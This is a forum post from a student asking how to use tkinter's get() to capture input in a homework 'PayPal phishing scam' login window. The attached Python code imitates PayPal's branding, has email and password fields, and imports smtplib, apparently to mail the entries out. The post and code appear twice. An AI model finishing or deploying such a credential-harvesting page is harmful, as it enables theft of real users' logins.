Supreme
Well-Known Member
- Joined
- Nov 3, 2014
- Messages
- 356
So for homework for computing I need to make a fake 'paypal phishing scam' GUI using tkinter.
However, whilst my file is working so far I can't figure out how to save the information in the Entry widget; I've read somewhere that I need to use the get() function however I can't process how to use it.
If anybody can help, my code so far is attached below; please look over it and explain to me below how I can do it or explain how to use get().
Much appreciated!
P.S. I'm using 2.7.9
However, whilst my file is working so far I can't figure out how to save the information in the Entry widget; I've read somewhere that I need to use the get() function however I can't process how to use it.
If anybody can help, my code so far is attached below; please look over it and explain to me below how I can do it or explain how to use get().
Much appreciated!
P.S. I'm using 2.7.9
import Tkinter as tkinter #Needed to use GUIs.
import smtplib #Needed to send emails.
window1=tkinter.Tk() #Creates the first window.
window1.title("PayPil.com/login") #Renames the first window.
window1.geometry("300x300") #Resizes the first window.
window1.wm_iconbitmap('paypal.ico') #Adds an icon to the window title.
window1.configure(background="#a1dbcd")
#Creates widgets.
welcome=tkinter.Label(window1,text="Please Login To Continue",fg="#383a39",bg="#a1dbcd",font=("Helvetica",16)) #Creates a widget that displays text.
usernametext=tkinter.Label(window1,text="Email:",bg="#a1dbcd",font=("Helvetica",9))
passwordtext=tkinter.Label(window1,text="Password:",bg="#a1dbcd",font=("Helvetica",9))
ent1=tkinter.Entry(window1) #Creates a widget where text can be entered.
ent2=tkinter.Entry(window1)
login=tkinter.Button(window1,text="Login",fg="#a1dbcd",bg="#383a39") #Creates a button with the text 'login'.
paypallogo=tkinter.PhotoImage(file="paypal.gif")
logo=tkinter.Label(window1,image=paypallogo)
#Loads up all of the widgets.
logo.pack()
welcome.pack()
usernametext.pack()
ent1.pack()
passwordtext.pack()
ent2.pack()
login.pack()
window1.mainloop()
import smtplib #Needed to send emails.
window1=tkinter.Tk() #Creates the first window.
window1.title("PayPil.com/login") #Renames the first window.
window1.geometry("300x300") #Resizes the first window.
window1.wm_iconbitmap('paypal.ico') #Adds an icon to the window title.
window1.configure(background="#a1dbcd")
#Creates widgets.
welcome=tkinter.Label(window1,text="Please Login To Continue",fg="#383a39",bg="#a1dbcd",font=("Helvetica",16)) #Creates a widget that displays text.
usernametext=tkinter.Label(window1,text="Email:",bg="#a1dbcd",font=("Helvetica",9))
passwordtext=tkinter.Label(window1,text="Password:",bg="#a1dbcd",font=("Helvetica",9))
ent1=tkinter.Entry(window1) #Creates a widget where text can be entered.
ent2=tkinter.Entry(window1)
login=tkinter.Button(window1,text="Login",fg="#a1dbcd",bg="#383a39") #Creates a button with the text 'login'.
paypallogo=tkinter.PhotoImage(file="paypal.gif")
logo=tkinter.Label(window1,image=paypallogo)
#Loads up all of the widgets.
logo.pack()
welcome.pack()
usernametext.pack()
ent1.pack()
passwordtext.pack()
ent2.pack()
login.pack()
window1.mainloop()